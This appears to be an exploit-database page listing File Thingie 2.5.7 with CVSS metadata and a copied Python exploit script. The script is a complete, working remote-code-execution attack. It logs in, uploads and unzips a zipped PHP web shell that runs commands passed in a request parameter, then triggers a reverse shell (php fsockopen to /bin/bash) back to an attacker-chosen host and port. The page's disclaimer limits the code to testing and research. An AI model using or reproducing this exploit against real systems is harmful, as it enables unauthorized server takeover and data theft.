File Thingie 2.5.7 Shell Upload
CVE
Category
Price
Severity
N/A
CWE-200
N/A
High
Author
Risk
Exploitation Type
Date
Unknown
High
Remote
2023-05-08
CPE
cpe:cpe:/a:file_thingie:file-thingie:2.5.7
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required None PR The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2023050020 Below is a copy:
File Thingie 2.5.7 Shell Upload #!/usr/bin/python
# Exploit Title: File Thingie 2.5.7 - Remote Code Execution (RCE)
# Google Dork: N/A
# Date: 27th of April, 2023
# Exploit Author: Maurice Fielenbach (grimlockx) - Hexastrike Cybersecurity UG (haftungsbeschrnkt)
# Software Link: https://github.com/leefish/filethingie
# Version: 2.5.7
# Tested on: N/A
# CVE: N/A
# Vulnerability originally discovered / published by Cakes
# Reference: https://www.exploit-db.com/exploits/47349
# Run a local listener on your machine and youre good to go
import os
import argparse
import requests
import random
import string
import zipfile
from urllib.parse import urlsplit, urlunsplit, quote
class Exploit:
def __init__(self, target, username, password, lhost, lport):
self.target = target
self.username = username
self.password = password
self.lhost = lhost
self.lport = lport
def try_login(self) -> bool:
self.session = requests.Session()
post_body = {"ft_user": f"{self.username}", "ft_pass": f"{self.password}", "act": "dologin"}
response = self.session.post(self.target, data=post_body)
if response.status_code == 404:
print(f"[-] 404 Not Found - The requested resource {self.target} was not found")
return False
elif response.status_code == 200:
if "Invalid username or password" in response.text:
print(f"Invalid username or password")
return False
return True
def create_new_folder(self) -> bool:
# Generate random string
letters = string.ascii_letters
self.payload_filename = "".join(random.choice(letters) for i in range(16))
headers = {"Content-Type": "application/x-www-form-urlencoded"}
post_body = {f"type": "folder", "newdir": f"{self.payload_filename}", "act": "createdir", "dir": "", "submit" :"Ok"}
print(f"[*] Creating new folder /{self.payload_filename}")
response = self.session.post(self.target, headers=headers, data=post_body)
if f"index.php?dir=/{self.payload_filename}" in response.text:
print(f"[+] Created new folder /{self.payload_filename}")
return True
else:
print(f"[-] Could not create new folder /{self.payload_filename}")
return False
def create_payload(self) -> bool:
try:
with zipfile.ZipFile(f"{self.payload_filename}.zip", 'w', compression=zipfile.ZIP_DEFLATED) as zip_file:
zip_file.writestr(f"{self.payload_filename}.php", "<?php if(isset($_REQUEST[\'cmd\'])){ echo \"<pre>\"; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo \"</pre>\"; die; }?>")
print(f"[+] Zipped payload to {self.payload_filename}.zip")
return True
except:
print(f"[-] Could not create payload to {self.payload_filename}.zip")
return False
def upload_payload(self) -> bool:
# Set up the HTTP headers and data for the request
headers = {
b'Content-Type': b'multipart/form-data; boundary=---------------------------grimlockx'
}
post_body = (
'-----------------------------grimlockx\r\n'
'Content-Disposition: form-data; name="localfile-1682513975953"; filename=""\r\n'
'Content-Type: application/octet-stream\r\n\r\n'
)
post_body += (
'\r\n-----------------------------grimlockx\r\n'
'Content-Disposition: form-data; name="MAX_FILE_SIZE"\r\n\r\n'
'2000000\r\n'
'-----------------------------grimlockx\r\n'
f'Content-Disposition: form-data; name="localfile"; filename="{self.payload_filename}.zip"\r\n'
'Content-Type: application/zip\r\n\r\n'
)
# Read the zip file contents and append them to the data
with open(f"{self.payload_filename}.zip", "rb") as f:
post_body += ''.join(map(chr, f.read()))
post_body += (
'\r\n-----------------------------grimlockx\r\n'
'Content-Disposition: form-data; name="act"\r\n\r\n'
'upload\r\n'
'-----------------------------grimlockx\r\n'
'Content-Disposition: form-data; name="dir"\r\n\r\n'
f'/{self.payload_filename}\r\n'
'-----------------------------grimlockx\r\n'
'Content-Disposition: form-data; name="submit"\r\n\r\n'
'Upload\r\n'
'-----------------------------grimlockx--\r\n'
)
print("[*] Uploading payload to the target")
response = self.session.post(self.target, headers=headers, data=post_body)
if f"<a href=\"./{self.payload_filename}/{self.payload_filename}.zip\" title=\"Show {self.payload_filename}.zip\">{self.payload_filename}.zip</a>" in response.text:
print("[+] Uploading payload successful")
return True
else:
print("[-] Uploading payload failed")
return False
def get_base_url(self) -> str:
url_parts = urlsplit(self.target)
path_parts = url_parts.path.split('/')
path_parts.pop()
base_url = urlunsplit((url_parts.scheme, url_parts.netloc, '/'.join(path_parts), "", ""))
return base_url
def unzip_payload(self) -> bool:
print("[*] Unzipping payload")
headers = {"Content-Type": "application/x-www-form-urlencoded"}
post_body = {"newvalue": f"{self.payload_filename}.zip", "file": f"{self.payload_filename}.zip", "dir": f"/{self.payload_filename}", "act": "unzip"}
response = self.session.post(f"{self.target}", headers=headers, data=post_body)
if f"<p class='ok'>{self.payload_filename}.zip unzipped.</p>" in response.text:
print("[+] Unzipping payload successful")
print(f"[+] You can now execute commands by opening {self.get_base_url()}/{self.payload_filename}/{self.payload_filename}.php?cmd=<command>")
return True
else:
print("[-] Unzipping payload failed")
return False
def execute_payload(self) -> bool:
print("[*] Trying the get a reverse shell")
cmd = quote(f"php -r \'$sock=fsockopen(\"{self.lhost}\",{self.lport});system(\"/bin/bash <&3 >&3 2>&3\");\'")
print("[*] Executing payload")
response = self.session.get(f"{self.get_base_url()}/{self.payload_filename}/{self.payload_filename}.php?cmd={cmd}")
print("[+] Exploit complete")
return True
def cleanup_local_files(self) -> bool:
if os.path.exists(f"{self.payload_filename}.zip"):
os.remove(f"{self.payload_filename}.zip")
print("[+] Cleaned up zipped payload on local machine")
return True
print("[-] Could not clean up zipped payload on local machine")
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", dest="target", type=str, required=True, help="Target URL to ft2.php")
parser.add_argument("-u", "--username", dest="username", type=str, required=True, help="FileThingie username")
parser.add_argument("-p", "--password", dest="password", type=str, required=True, help="FileThingie password")
parser.add_argument("-L", "--LHOST", dest="lhost", type=str, required=True, help="Local listener ip")
parser.add_argument("-P", "-LPORT", dest="lport", type=int, required=True, help="Local listener port")
args = parser.parse_args()
exploit = Exploit(args.target, args.username, args.password, args.lhost, args.lport)
exploit.try_login()
exploit.create_new_folder()
exploit.create_payload()
exploit.upload_payload()
exploit.unzip_payload()
exploit.execute_payload()
exploit.cleanup_local_files()
Copyright ©2024 Exploitalert.
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum